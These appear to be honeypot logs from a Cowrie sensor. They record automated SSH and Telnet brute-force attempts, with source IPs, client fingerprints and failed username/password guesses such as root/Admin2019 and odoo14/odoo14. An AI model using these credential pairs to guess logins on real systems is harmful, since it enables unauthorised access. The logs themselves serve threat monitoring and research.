{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:57.648648Z","src_ip":"91.92.42.133","session":"85eccf054098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:59.871743Z","src_ip":"27.71.230.31","session":"97527e781e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45390,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbcd929ae734","protocol":"ssh","message":"New connection: 91.92.42.133:45390 (159.203.135.109:22) [session: dbcd929ae734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:00.464957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:00.886357Z","src_ip":"91.92.42.133","session":"dbcd929ae734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:00.890094Z","src_ip":"91.92.42.133","session":"dbcd929ae734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:01.192559Z","src_ip":"27.71.230.31","session":"97527e781e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:02.325822Z","src_ip":"91.92.42.133","session":"dbcd929ae734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:03.513496Z","src_ip":"91.92.42.133","session":"dbcd929ae734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33476,"dst_ip":"159.203.135.109","dst_port":22,"session":"212591004c91","protocol":"ssh","message":"New connection: 91.92.42.133:33476 (159.203.135.109:22) [session: 212591004c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:08.219154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:08.277149Z","src_ip":"91.92.42.133","session":"212591004c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:08.339044Z","src_ip":"91.92.42.133","session":"212591004c91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:09.138423Z","src_ip":"91.92.42.133","session":"212591004c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:10.228052Z","src_ip":"91.92.42.133","session":"212591004c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41950,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb3c82df7bf","protocol":"ssh","message":"New connection: 91.92.42.133:41950 (159.203.135.109:22) [session: 4cb3c82df7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:15.614954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:16.527060Z","src_ip":"91.92.42.133","session":"4cb3c82df7bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:16.530588Z","src_ip":"91.92.42.133","session":"4cb3c82df7bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:17.852221Z","src_ip":"91.92.42.133","session":"4cb3c82df7bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:19.289936Z","src_ip":"91.92.42.133","session":"4cb3c82df7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42016,"dst_ip":"159.203.135.109","dst_port":22,"session":"2008187fddc9","protocol":"ssh","message":"New connection: 91.92.42.133:42016 (159.203.135.109:22) [session: 2008187fddc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:23.088856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:23.336691Z","src_ip":"91.92.42.133","session":"2008187fddc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:23.339516Z","src_ip":"91.92.42.133","session":"2008187fddc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:25.491092Z","src_ip":"91.92.42.133","session":"2008187fddc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":56630,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8a81ddf426","protocol":"ssh","message":"New connection: 117.121.214.50:56630 (10.17.0.5:22) [session: cd8a81ddf426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:26.462228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:26.464941Z","src_ip":"117.121.214.50","session":"cd8a81ddf426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:26.706832Z","src_ip":"117.121.214.50","session":"cd8a81ddf426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:26.909649Z","src_ip":"91.92.42.133","session":"2008187fddc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maman","password":"maman","message":"login attempt [maman/maman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:27.715073Z","src_ip":"117.121.214.50","session":"cd8a81ddf426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:28.962823Z","src_ip":"117.121.214.50","session":"cd8a81ddf426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0898c2a37ca","protocol":"ssh","message":"New connection: 91.92.42.133:37500 (159.203.135.109:22) [session: c0898c2a37ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:30.662723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:30.932837Z","src_ip":"91.92.42.133","session":"c0898c2a37ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:30.934981Z","src_ip":"91.92.42.133","session":"c0898c2a37ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"1234","message":"login attempt [bob/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:32.833224Z","src_ip":"91.92.42.133","session":"c0898c2a37ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:34.266352Z","src_ip":"91.92.42.133","session":"c0898c2a37ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40096,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0532a3bac97","protocol":"ssh","message":"New connection: 91.92.42.133:40096 (159.203.135.109:22) [session: a0532a3bac97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:37.274784Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42536,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf433a8005b3","protocol":"telnet","message":"New connection: 128.199.8.54:42536 (159.203.135.109:23) [session: cf433a8005b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:37.390435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:37.792716Z","src_ip":"91.92.42.133","session":"a0532a3bac97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:37.795809Z","src_ip":"91.92.42.133","session":"a0532a3bac97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41998,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbfc04cabce7","protocol":"ssh","message":"New connection: 77.94.47.83:41998 (10.17.0.5:22) [session: dbfc04cabce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:37.942941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:37.946793Z","src_ip":"77.94.47.83","session":"dbfc04cabce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:38.056827Z","src_ip":"77.94.47.83","session":"dbfc04cabce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxc","message":"login attempt [root/qazxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:38.389596Z","src_ip":"77.94.47.83","session":"dbfc04cabce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:39.024346Z","src_ip":"91.92.42.133","session":"a0532a3bac97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:39.502192Z","src_ip":"77.94.47.83","session":"dbfc04cabce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:40.268983Z","src_ip":"91.92.42.133","session":"a0532a3bac97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56526,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cb0ec0e7ec5","protocol":"ssh","message":"New connection: 91.92.42.133:56526 (159.203.135.109:22) [session: 5cb0ec0e7ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:45.086021Z"}
